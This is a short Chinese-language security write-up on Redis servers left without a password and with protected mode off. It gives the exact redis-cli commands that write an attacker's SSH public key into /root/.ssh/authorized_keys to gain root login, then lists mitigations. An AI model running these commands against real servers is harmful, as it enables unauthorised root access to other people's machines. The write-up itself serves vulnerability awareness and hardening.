1. 背景介紹

redis 服務預設情況下是未配置密碼的，如果所在伺服器恰好開了外網則此時很容易藉助 redis 的漏洞獲取到目標伺服器的 root 許可權。
yum 安裝的 3.x 系列的 redis 一般預設開啟了 protected 模式，此時只能從 127.0.0.1 連線操作 redis-server:

如果遠端連線上，則不能進行操作：

如果使用者從本地連上 redis-server，執行了諸如 config set protected-mode no，後重啟 redis-server，關閉了protected 模式，且 redis-server 是使用 root 許可權的使用者起的，則此時其他人很容易通過redis 的漏洞獲取到 redis 所在伺服器的 root 許可權，具體操作步驟如下：

2. 漏洞重現

redis-cli -h 遠端連線上 redis 例項。

config set dir /root/.ssh       
config set dbfilename authorized_keys
set xxx "\n\n\n本地公鑰資訊\n\n\n"         #"本地公鑰資訊"替換為自己的公鑰資訊
save   

此時本地的公鑰資訊即可注入到 redis 所在伺服器的 authorized_keys 檔案中。
直接 ssh [email protected] 即可連上 redis-server 所在的伺服器。
檢視 /root/.ssh/authorized_keys 檔案資訊可以看到本地公鑰已經寫入了。

3. 避免
(1) 為 redis 設定密碼
(2) redis 不對公網開放
(3) 使用雲廠商提供的 redis 服務，我瞭解的網易雲的主從版的 redis 服務和叢集版的 redis 服務預設 redis-cli 是沒有 config set 配置許可權的。